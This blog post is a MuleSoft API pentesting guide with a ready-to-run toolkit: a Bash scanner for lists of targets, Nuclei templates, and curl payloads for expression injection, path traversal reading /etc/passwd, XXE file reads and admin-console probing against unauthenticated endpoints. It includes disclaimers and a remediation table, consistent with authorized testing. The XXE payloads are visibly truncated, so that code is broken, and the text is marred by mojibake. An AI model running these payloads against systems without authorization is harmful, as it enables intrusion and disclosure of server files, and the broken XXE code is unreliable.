MuleSoft API Pentesting Guide + Toolkit

Real-world, unauthenticated, cert-aware pentesting for MuleSoft APIs — no fake CVEs. Includes full automation scripts and Nuclei templates.

๐Ÿšจ Why MuleSoft?

MuleSoft powers mission-critical integrations for banks, healthcare, retail, and government. But:

“MuleSoft isn’t insecure — it’s just not magic. Security is your responsibility.”

Default configurations, deprecated features (like MEL), and public endpoints create exploitable attack surfaces — even without authentication.

๐Ÿšซ Myth Busting: No Official CVE for MEL Injection

There is NO official MITRE/NVD CVE for “MuleSoft MEL Injection RCE.”

MuleSoft published a Security Advisory (March 2021) warning that unsanitized user input in MEL/DataWeave = RCE risk. But no CVE was assigned.

Call it: “Unauthenticated Expression Injection in MuleSoft (MEL/DataWeave)” — no CVE, but real, documented, exploitable.

๐Ÿงช Pentest Phases

Phase 1: Recon

curl -sk https://target.com/api/console
ffuf -u https://target.com/FUZZ -w api-paths.txt

Phase 2: Expression Injection (MEL/DataWeave)

curl -sk "https://target.com/api/search?q=%23%5B1%2B1%5D"

Phase 3: Path Traversal (CVE-2023-23539)

curl -sk "https://target.com/%2e%2e/%2e%2e/%2e%2e/etc/passwd"

Phase 4: XXE (CVE-2022-29538)

curl -sk -X POST https://target.com/api/xml -H "Content-Type: application/xml" -d ']>&xxe;'

Phase 5: Admin Console Exposure

curl -sk -I https://target.com/console

๐Ÿ” Handling Certificates (TLS/mTLS)

curl --cacert ca.crt --cert client.crt --key client.key https://api.internal.com/health

๐Ÿค– Automation: Bash + Nuclei

Use the toolkit below to automate scanning across multiple targets.

๐Ÿ“ฅ Copy-Paste Toolkit

Copy each file below into your project. Then run:

chmod +x mulesec-scan.sh
./mulesec-scan.sh --verbose
mulesec-scan.sh
#!/bin/bash
# mulesec-scan.sh - MuleSoft API Pentest Scanner (Unauthenticated, Cert-Aware)
# Reads targets from targets.txt → Format: URL [TAB] AUTH(optional) [TAB] SOURCE_DIR(optional)

set -e

TARGETS_FILE="${TARGETS_FILE:-targets.txt}"
REPORT_DIR="reports"
SUMMARY_REPORT="$REPORT_DIR/summary_$(date +%Y%m%d_%H%M%S).txt"
VERBOSE=false

# Cert flags (set via env: CA_CERT, CLIENT_CERT, CLIENT_KEY)
CERT_FLAGS=""
[ -n "$CA_CERT" ] && CERT_FLAGS="--cacert $CA_CERT"
[ -n "$CLIENT_CERT" ] && [ -n "$CLIENT_KEY" ] && CERT_FLAGS="$CERT_FLAGS --cert $CLIENT_CERT --key $CLIENT_KEY"

mkdir -p "$REPORT_DIR"

log_global() {
    echo "[$(date +%T)] $1" | tee -a "$SUMMARY_REPORT"
}

# Parse args
while [[ $# -gt 0 ]]; do
    case $1 in
        --verbose)
            VERBOSE=true
            shift
            ;;
        --targets)
            TARGETS_FILE="$2"
            shift 2
            ;;
        --help)
            echo "Usage: $0 [--targets targets.txt] [--verbose]"
            exit 0
            ;;
        *)
            echo "Unknown option: $1"
            exit 1
            ;;
    esac
done

if [ ! -f "$TARGETS_FILE" ]; then
    echo "❌ $TARGETS_FILE not found!"
    exit 1
fi

log_global "๐Ÿš€ Starting MuleSoft Pentest Scan (Unauthenticated + Cert-Aware)"
log_global "๐Ÿ“ Targets: $TARGETS_FILE"
[ -n "$CERT_FLAGS" ] && log_global "๐Ÿ” Cert Flags: $CERT_FLAGS"

TARGET_COUNT=0
SUCCESS_COUNT=0

while IFS=$'\t|' read -r target auth source_dir _ <&3; do
    [[ -z "$target" ]] && continue
    [[ "$target" =~ ^[[:space:]]*# ]] && continue

    TARGET_COUNT=$((TARGET_COUNT + 1))
    target=$(echo "$target" | xargs)
    auth=$(echo "$auth" | xargs)
    source_dir=$(echo "$source_dir" | xargs)

    log_global "๐Ÿ”Ž Target $TARGET_COUNT: $target"
    safe_name=$(echo "$target" | sed 's/[^a-zA-Z0-9._-]/_/g')
    INDIVIDUAL_REPORT="$REPORT_DIR/${safe_name}_report_$(date +%Y%m%d_%H%M%S).txt"

    (
        log() { echo "[$(date +%T)] $1" | tee -a "$INDIVIDUAL_REPORT"; }
        VULN_FOUND=false

        # Test 1: Expression Injection (MEL/DataWeave)
        test_expression_injection() {
            log "๐Ÿงช Testing: Unauthenticated Expression Injection (MEL/DataWeave)..."
            payloads=(
                "%23%5B1%2B1%5D"           # #[1+1] → MEL
                "%24%7B1%2B1%7D"           # ${1+1} → DataWeave
                "%23%5Bserver.dateTime%5D" # #[server.dateTime]
                "%24%7Bapp.name%7D"        # ${app.name}
            )
            for p in "${payloads[@]}"; do
                url="$target/api/search?q=$p"
                output=$(curl -s --connect-timeout 10 $CERT_FLAGS "$url" 2>/dev/null)
                if echo "$output" | grep -q "2\|202[0-9]\|Mule\|API" && ! echo "$output" | grep -q "q=$p"; then
                    log "๐Ÿšจ EXPRESSION INJECTION VULNERABLE: $url → Payload '$p' evaluated!"
                    VULN_FOUND=true
                else
                    log "✅ Safe: Payload '$p' not evaluated."
                fi
            done
        }

        # Test 2: Path Traversal (CVE-2023-23539)
        test_path_traversal() {
            log "๐Ÿ“ Testing: Path Traversal (CVE-2023-23539)..."
            url="$target/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
            output=$(curl -s --connect-timeout 10 $CERT_FLAGS "$url" 2>/dev/null)
            if echo "$output" | grep -q "root:x:0:0:"; then
                log "๐Ÿšจ CVE-2023-23539 VULNERABLE: /etc/passwd leaked at $url"
                VULN_FOUND=true
            else
                log "✅ Safe: Path traversal blocked."
            fi
        }

        # Test 3: XXE (CVE-2022-29538)
        test_xxe() {
            log "๐Ÿงฉ Testing: XXE (CVE-2022-29538)..."
            xml_endpoints=("/api/xml" "/xml" "/upload")
            xxe_payload=']>&xxe;'
            for path in "${xml_endpoints[@]}"; do
                url="$target$path"
                output=$(curl -s --connect-timeout 10 $CERT_FLAGS -X POST "$url" -H "Content-Type: application/xml" -d "$xxe_payload" 2>/dev/null)
                if echo "$output" | grep -q "root:x:0:0:"; then
                    log "๐Ÿšจ CVE-2022-29538 VULNERABLE: XXE via $url"
                    VULN_FOUND=true
                else
                    log "✅ Safe: XXE not exploitable at $url."
                fi
            done
        }

        # Test 4: Admin Console Exposure
        test_admin_console() {
            log "๐Ÿšช Testing: Admin Console Exposure..."
            paths=("/console" "/mule" "/api/console" "/services")
            for p in "${paths[@]}"; do
                url="$target$p"
                code=$(curl -s -o /dev/null -w "%{http_code}" $CERT_FLAGS "$url" 2>/dev/null)
                if [[ "$code" =~ ^(200|401|403)$ ]]; then
                    log "⚠️  EXPOSED ADMIN INTERFACE: $url (HTTP $code)"
                    VULN_FOUND=true
                fi
            done
        }

        # Run all tests
        > "$INDIVIDUAL_REPORT"
        log "๐Ÿš€ Scanning: $target"
        test_expression_injection
        test_path_traversal
        test_xxe
        test_admin_console
        log "✅ Scan completed for $target"

        # Exit code: 1 if vuln found
        $VULN_FOUND && exit 1 || exit 0

    ) # End subshell

    if [ $? -eq 0 ]; then
        SUCCESS_COUNT=$((SUCCESS_COUNT + 1))
        log_global "✅ PASSED: $target"
    else
        log_global "❌ FAILED: $target (see $INDIVIDUAL_REPORT)"
    fi

    echo "----------------------------------------" | tee -a "$SUMMARY_REPORT"

done 3< "$TARGETS_FILE"

log_global ""
log_global "๐Ÿ“Š SUMMARY"
log_global "   Total Targets: $TARGET_COUNT"
log_global "   Passed: $SUCCESS_COUNT"
log_global "   Failed: $((TARGET_COUNT - SUCCESS_COUNT))"
log_global "   Reports: $REPORT_DIR/"

[ $((TARGET_COUNT - SUCCESS_COUNT)) -eq 0 ] && exit 0 || exit 1
targets.txt
# Format: URL [TAB or |] AUTH_TOKEN (optional) [TAB] SOURCE_DIR (optional)
# Auth & source_dir can be empty. Lines starting with # are ignored.

https://api.public.example.com
https://dev-api.internal.net	Bearer eyJ...	./src/dev-api
https://legacy-api.company.org

# For mTLS targets, set env vars:
# export CA_CERT=./ca.crt
# export CLIENT_CERT=./client.crt
# export CLIENT_KEY=./client.key
nuclei-templates/mulesoft/mulesoft-expression-injection.yaml
id: MULESOFT-EXPRESSION-INJECTION

info:
  name: MuleSoft Unauthenticated Expression Injection (MEL/DataWeave)
  author: pentester
  severity: critical
  description: |
    Mule 3.x/4.x applications may unsafely evaluate user input as MEL or DataWeave expressions.
    This can lead to RCE or sensitive data exposure — even without authentication.
    Based on MuleSoft Security Advisory (March 2021).
  reference:
    - https://help.mulesoft.com/s/article/Security-Advisory-March-2021-Untrusted-Data-Expression-Injection
  tags: mulesoft,mel,dw,rce,unauthenticated

requests:
  - method: GET
    path:
      - "{{BaseURL}}/api/search?q=%23%5B1%2B1%5D"
      - "{{BaseURL}}/echo?input=%24%7B1%2B1%7D"
    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(body, '2')"
        condition: and
nuclei-templates/mulesoft/cve-2023-23539.yaml
id: CVE-2023-23539

info:
  name: MuleSoft Path Traversal (CVE-2023-23539)
  author: pentester
  severity: high
  cve: CVE-2023-23539
  description: Path traversal in HTTP Connector allows reading arbitrary files.
  reference:
    - https://help.mulesoft.com/s/article/CVE-2023-23539
  tags: mulesoft,lfi,path-traversal

requests:
  - method: GET
    path:
      - "{{BaseURL}}/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
    matchers:
      - type: word
        words:
          - "root:x:0:0:"
        part: body
nuclei-templates/mulesoft/cve-2022-29538.yaml
id: CVE-2022-29538

info:
  name: MuleSoft XXE Injection (CVE-2022-29538)
  author: pentester
  severity: critical
  cve: CVE-2022-29538
  description: XML External Entity injection in vulnerable XML Module versions.
  reference:
    - https://help.mulesoft.com/s/article/CVE-2022-29538
  tags: mulesoft,xxe,file-read

requests:
  - method: POST
    path:
      - "{{BaseURL}}/api/xml"
      - "{{BaseURL}}/xml"
    headers:
      Content-Type: application/xml
    body: |
      
      ]>
      &xxe;
    matchers:
      - type: word
        words:
          - "root:x:0:0:"
        part: body
nuclei-templates/mulesoft/mulesoft-admin-exposure.yaml
id: MULESOFT-ADMIN-EXPOSURE

info:
  name: MuleSoft Admin Console Exposure
  author: pentester
  severity: high
  description: MuleSoft admin interfaces like /console or /mule should never be exposed.
  reference:
    - https://help.mulesoft.com
  tags: mulesoft,exposure,admin,console

requests:
  - method: GET
    path:
      - "{{BaseURL}}/console"
      - "{{BaseURL}}/mule"
      - "{{BaseURL}}/api/console"
    matchers:
      - type: status
        status:
          - 200
          - 401
          - 403
README.md
# ๐Ÿงฐ MuleSoft API Pentest Kit

> Real-world, unauthenticated, cert-aware pentesting for MuleSoft APIs — no fake CVEs.

---

## ๐Ÿ“ Contents

- \`mulesec-scan.sh\` — Bash scanner for multiple targets
- \`targets.txt\` — Sample target list
- \`nuclei-templates/mulesoft/\` — Ready-to-run Nuclei templates
- \`reports/\` — Auto-generated after scan

---

## ▶️ Usage

### 1. Set Up

\`\`\`bash
chmod +x mulesec-scan.sh
mkdir -p nuclei-templates/mulesoft reports
\`\`\`

### 2. Edit \`targets.txt\`

Add your targets (one per line). Auth and source dir optional.

### 3. Run Scan

\`\`\`bash
# Basic
./mulesec-scan.sh --verbose

# With mTLS certs
export CA_CERT="./ca.crt"
export CLIENT_CERT="./client.crt"
export CLIENT_KEY="./client.key"
./mulesec-scan.sh --verbose
\`\`\`

### 4. Run with Nuclei

\`\`\`bash
nuclei -list targets.txt -t nuclei-templates/mulesoft/ -o nuclei-results.txt
\`\`\`

> ๐Ÿ’ก For mTLS in Nuclei, create \`nuclei-config.yaml\` with cert paths.

---

## ๐ŸŽฏ Tests Included

- ✅ Unauthenticated Expression Injection (MEL/DataWeave)
- ✅ Path Traversal (CVE-2023-23539)
- ✅ XXE (CVE-2022-29538)
- ✅ Admin Console Exposure

---

## ๐Ÿ“„ Output

- Individual reports: \`reports/target_report_*.txt\`
- Summary: \`reports/summary_*.txt\`

---

## ๐Ÿ›ก️ Disclaimer

Only test systems you own or have explicit written authorization to assess.

---

๐Ÿ” Happy pentesting — responsibly!

๐Ÿ“ฆ How to Create the ZIP File

After copying all files above, run these commands in your terminal:

mkdir -p mulesoft-pentest-kit/nuclei-templates/mulesoft
# Paste each file into correct location
cd mulesoft-pentest-kit
zip -r ../mulesoft-pentest-kit.zip .
cd ..

๐Ÿ›ก️ Remediation

Vulnerability Fix
Expression Injection Never evaluate user input as MEL/DW. Upgrade to Mule 4 + use DataWeave safely.
CVE-2023-23539 Upgrade HTTP Connector to v1.5.25+
CVE-2022-29538 Upgrade XML Module to v1.6.0+; disable DTDs
Admin Console Block /console, /mule via WAF or API Gateway

✅ Final Pentest Checklist

  • ✅ Test Expression Injection (MEL/DataWeave) — unauthenticated
  • ✅ Test Path Traversal (CVE-2023-23539)
  • ✅ Test XXE (CVE-2022-29538)
  • ✅ Probe for /console, /mule, /api/console
  • ✅ Handle TLS/mTLS with certs
  • ✅ Use Nuclei for automation
  • ✅ Generate reports per target

๐Ÿ“š Resources

๐Ÿ” Disclaimer

Only test systems you own or have explicit written authorization to assess. Unauthorized scanning is illegal.

Written by Security Researcher & MuleSoft Pentester
๐Ÿ“… Published: September, 2025
๐Ÿท️ Tags: #MuleSoft #API #Pentesting #Unauthenticated #Nuclei #CVE #RealWorld

Popular posts from this blog

Tutorial: Build an AI Penetration Tester with Claude (MCP + Burp)

InfluxDB TCP 8086 (Default) — Authentication Bypass & Pentest Notes

Mastering PowerShell Execution Policy Bypass